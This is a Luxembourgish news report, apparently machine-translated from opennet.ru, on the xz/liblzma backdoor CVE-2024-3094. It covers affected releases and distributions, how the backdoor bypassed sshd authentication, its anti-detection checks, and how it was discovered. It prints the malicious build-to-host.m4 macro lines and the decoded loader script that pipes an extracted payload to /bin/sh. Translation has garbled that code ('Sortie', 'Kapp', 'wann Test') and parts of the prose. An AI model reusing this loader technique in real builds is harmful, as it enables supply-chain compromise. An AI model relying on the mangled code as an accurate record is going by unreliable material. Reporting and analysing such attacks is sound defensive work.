Eng Backdoor gouf an der xz/liblzma Bibliothéik entdeckt déi d'Entrée iwwer sshd erlaabt

Am XZ Utils Package, deen d'liblzma Bibliothéik an Utilities enthält fir mat kompriméierten Donnéeën am ".xz" Format ze schaffen, gouf eng Backdoor (CVE-2024-3094) identifizéiert, déi d'Interceptioun an d'Modifikatioun vun Daten erlaabt, déi duerch Applikatiounen assoziéiert veraarbecht ginn. mat der liblzma Bibliothéik. D'Haaptziel vun der Backdoor ass den OpenSSH Server, deen an e puer Verdeelungen mat der libsystemd Bibliothéik gebündelt ass, déi am Tour liblzma benotzt. D'Verbindung vun sshd mat enger vulnerabel Bibliothéik erlaabt Ugräifer Zougang zum SSH Server ouni Authentifikatioun ze kréien.

D'Backdoor war präsent an den offiziellen Verëffentlechungen 5.6.0 a 5.6.1, publizéiert de 24. Februar an den 9. Mäerz, déi et fäerdeg bruecht hunn an e puer Verdeelungen a Repositories ze kommen, zum Beispill Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide an 40-Beta, openSUSE Fabréck an Tumbleweed, LibreELEC, Alpine Edge, Solus, NixOS onbestänneg, OpenIndiana, OpenMandriva Rolling, pkgsrc Stroum, Slackware Stroum, Manjaro Testen. All Benotzer vun xz 5.6.0 an 5.6.1 Verëffentlechungen ginn recommandéiert dréngend op d'Versioun 5.4.6 zréckzekucken.

Ënnert de Faktoren, déi de Problem reduzéieren, kann et bemierkt ginn datt d'Versioun vu liblzma mat enger Backdoor et net fäerdeg bruecht huet Deel vun de stabile Verëffentlechungen vu grousse Verdeelungen ze ginn, awer beaflosst openSUSE Tumbleweed a Fedora 40-Beta. Arch Linux an Gentoo hunn eng vulnérabel Versioun vun zx benotzt, awer sinn net ufälleg fir den Attack well se de systemd-notify Patch net op openssh applizéieren, wat verursaacht datt sshd mat liblzma verbonnen ass. D'Backdoor beaflosst nëmmen x86_64 Systemer baséiert op dem Linux Kernel an der Glibc C Bibliothéik.

D'Backdoor Aktivéierungscode war an m4 macros vun der build-to-host.m4 Fichier verstoppt vun der automake Toolkit benotzt wann Gebai. Wärend der Assemblée, während der Ausféierung vun komplizéierten obfuscéierten Operatiounen baséiert op Archiven (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), benotzt fir d'Korrektheet vun der Operatioun ze testen, gouf en Objektdatei mat béiswëllegen Code generéiert, deen an abegraff ass der liblzma Bibliothéik an geännert der Operatioun Logik puer vu senge Funktiounen. D'm4 Makroen, déi d'Backdoor aktivéieren, goufen an de Verëffentlechung Tarballs abegraff, awer waren net am Git Repository. Zur selwechter Zäit ware béiswëlleg Testarchiven am Repository präsent, d.h. d'Persoun, déi d'Backdoor implementéiert huet, hat Zougang zum Repository an de Release Generatioun Prozesser.

Wann Dir liblzma an Uwendungen benotzt, kënne béiswëlleg Ännerungen benotzt ginn fir Daten z'ënnerscheeden oder z'änneren, oder d'Operatioun vun sshd beaflossen. Besonnesch de béisaarteg Code huet d'RSA_public_decrypt Funktioun spooféiert fir den sshd Authentifikatiounsprozess ëmzegoen. D'Backdoor enthält Schutz géint Erkennung an huet sech net manifestéiert wann d'LANG an TERM Ëmfeldvariablen agestallt goufen (dh wann de Prozess am Terminal leeft) an d'LD_DEBUG an LD_PROFILE Ëmfeldvariablen net gesat goufen, a gouf och nëmmen aktivéiert wann Dir d'Ausféierung vum /usr/sbin/sshd ausführbar Datei. D'Backdoor hat och e Mëttel fir d'Ausféierung an Debug-Ëmfeld z'entdecken.

Besonnesch d'm4/build-to-host.m4 Datei benotzt gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

An der éischter Konstruktioun huet d'grep-Operatioun d'Datei Tester/Dateien/bad-3-corrupt_lzma2.xz fonnt, déi, wann se ausgepackt goufen, de Skript generéiert hunn: ####Hallo#### #345U211267$^D330^W [! $(uname) = "Linux" ] && Sortie 0 [! $(uname) = "Linux" ] && Sortie 0 [ ! $(uname) = "Linux" ] && Sortie 0 [ ! $(uname) = "Linux" ] && Sortie 0 [ ! $(uname) = "Linux" ] && Sortie 0 eval `grep ^srcdir= config.status` wann Test -f ../../config.status; dann eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (Kapp -c +1024 >/dev/null) && Kapp -c +2048 && (Kapp -c +1024 >/dev/null) && Kapp -c +2048 && (Kapp -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Wéi d'Attacker et fäerdeg bruecht hunn Zougang zu der Infrastruktur vum xz-Projet ze kréien ass nach net ganz gekläert. Et ass och nach net kloer wéi vill Benotzer a Projeten als Resultat vun der Backdoor kompromittéiert goufen. De angeblechen Auteur vun der Backdoor (JiaT75 - Jia Tan), deen Archiven mat béiswëllegen Code am Repository gepost huet, huet mat Fedora Entwéckler korrespondéiert an Pull-Ufroen un Debian geschéckt am Zesummenhang mat den Iwwergank vun Verdeelungen an d'xz 5.6.0 Filial, an huet net Verdacht erwächen, well hien un xz deelgeholl huet, huet sech fir déi lescht zwee Joer entwéckelt an ass den zweeten Entwéckler wat d'Zuel vun den Ännerungen ugeet. Zousätzlech zum xz-Projet huet de angeblechen Auteur vun der Backdoor och un der Entwécklung vun den xz-Java an xz-embedded Packagen deelgeholl. Ausserdeem war de Jia Tan virun e puer Deeg an der Unzuel vun den Ënnerhalter vum XZ Embedded Projet abegraff, deen am Linux Kernel benotzt gëtt.

Déi béiswëlleg Ännerung gouf entdeckt no der Analyse vum exzessive CPU Konsum a Feeler generéiert vu valgrind wann Dir iwwer ssh mat Debian Sid-baséiert Systemer verbënnt. Et ass bemierkenswäert datt d'xz 5.6.1 Verëffentlechung Ännerunge virbereet vum angeblechen Autor vun der Backdoor als Äntwert op Reklamatiounen iwwer sshd Verlängerungen a Crashen, déi no der Upgrade op d'zx 5.6.0 Versioun mat der Backdoor entstane sinn. Zousätzlech huet d'lescht Joer d'Jia Tan Ännerungen gemaach, déi mat dem "-fsanitize=address" Inspektiounsmodus inkompatibel waren, wat verursaacht huet datt et während Fuzz Testen ausgeschalt gouf.

Source: opennet.ru

Setzt e Commentaire